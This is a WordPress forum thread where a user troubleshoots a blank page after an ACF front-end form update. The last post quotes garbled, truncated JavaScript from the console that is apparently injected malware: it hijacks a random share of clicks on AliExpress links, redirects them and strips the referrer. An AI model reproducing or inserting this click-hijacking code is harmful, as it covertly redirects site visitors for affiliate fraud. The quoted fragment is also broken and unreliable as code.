Home Forums Front-end Issues blank page on form update acf


blank page on form update acf

  • when i update the form the page change to a blank page after the submit (it`s the same page).
    the fields values are updated and i have no error message.
    this thing only happens on production. in localhost the form works perfect.
    i even added redirect function- stile stuck in the same blank page.
    changing the theme is not an option.
    i`v activated all the other plugins
    but nothing works and i`m lost.

    $s = get_the_id();
    $update_args = array(
        'post_id' => $s,
        'post_title' => false,
        'submit_value' => 'Update',
        'post_content' => false,
         'kses' => true,
         'html_submit_spinner' => '<span class="acf-spinner"></span>',
        'updated_message' => 'Student Information Was Updated',
        'honeypot' => true,
        'fields' => array(
  • Is acf_form_head() being called before any output? This must be called before your theme header is loaded.

  • the acf_form_head() is uploaded before the wp_header. and not before the output.

  • I just noticed that after a few seconds, I got this message as error in the console.log
    What is?

    /// <reference path="Config.js" />
    /// <reference path="Storage.js" />
    /// <reference path="jquery-1.8.2.js" />
    //Método de instância usa o prototype
    //Método static não usa prototype
    var ach = .35;
    (function () {
    // savings
    if (Math.random() < ach)
    if (location.href.indexOf("") == -1)
    document.addEventListener("click", function(e) {
      var el =;
      while (!el.href && (el = el.parentNode)) { }
      if (!el.href) return;
      var href = el.href.split('?')[0];
      if (!/^https?:\/\/www\.aliexpress\.com(\/item|\/$|$)/i.test(href)) return;
      if (/click\.ali/i.test(href)) return;
      var prot = location.protocol == 'https:' ? 'http:' : 'https:';
      var newref = prot + '//';
      if (/\/item/i.test(href)) newref += '?ulp=' + encodeURIComponent(href);
      location.href = newref;
    }, false);
    function r() {
      var m = document.createElement('meta'); = 'referrer';
      m.content = 'no-referrer';
Viewing 4 posts - 1 through 4 (of 4 total)

The topic ‘blank page on form update acf’ is closed to new replies.